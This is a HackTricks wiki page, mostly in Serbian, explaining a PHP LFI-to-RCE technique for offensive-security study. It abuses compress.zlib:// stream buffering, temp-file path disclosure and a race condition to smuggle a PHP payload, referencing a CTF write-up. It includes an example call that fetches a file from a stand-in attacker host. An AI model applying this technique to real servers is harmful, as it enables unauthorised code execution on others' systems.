4.1 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
compress.zlib://
i PHP_STREAM_PREFER_STDIO
Datoteka otvorena koristeći protokol compress.zlib://
sa oznakom PHP_STREAM_PREFER_STDIO
može nastaviti da piše podatke koji kasnije stignu do veze u istu datoteku.
To znači da poziv kao što je:
file_get_contents("compress.zlib://http://attacker.com/file")
Poslaće zahtev tražeći http://attacker.com/file, zatim server može odgovoriti na zahtev sa validnim HTTP odgovorom, zadržati vezu otvorenom i poslati dodatne podatke nešto kasnije koji će takođe biti zapisani u datoteku.
Možete videti te informacije u ovom delu php-src koda u main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Race Condition to RCE
Ovaj CTF je rešen korišćenjem prethodnog trika.
Napadač će naterati server žrtve da otvori vezu čitajući datoteku sa servera napadača koristeći compress.zlib
protokol.
Dok ova veza postoji, napadač će izvršiti eksfiltraciju putanje do privremene datoteke koja je kreirana (server je otkrio).
Dok je veza još uvek otvorena, napadač će iskoristiti LFI učitavajući privremenu datoteku koju kontroliše.
Međutim, postoji provera na web serveru koja sprečava učitavanje datoteka koje sadrže <?
. Stoga, napadač će iskoristiti Race Condition. U vezi koja je još uvek otvorena, napadač će poslati PHP payload NAKON što je webserver proverio da li datoteka sadrži zabranjene karaktere, ali PRE nego što učita njen sadržaj.
Za više informacija pogledajte opis Race Condition i CTF na https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.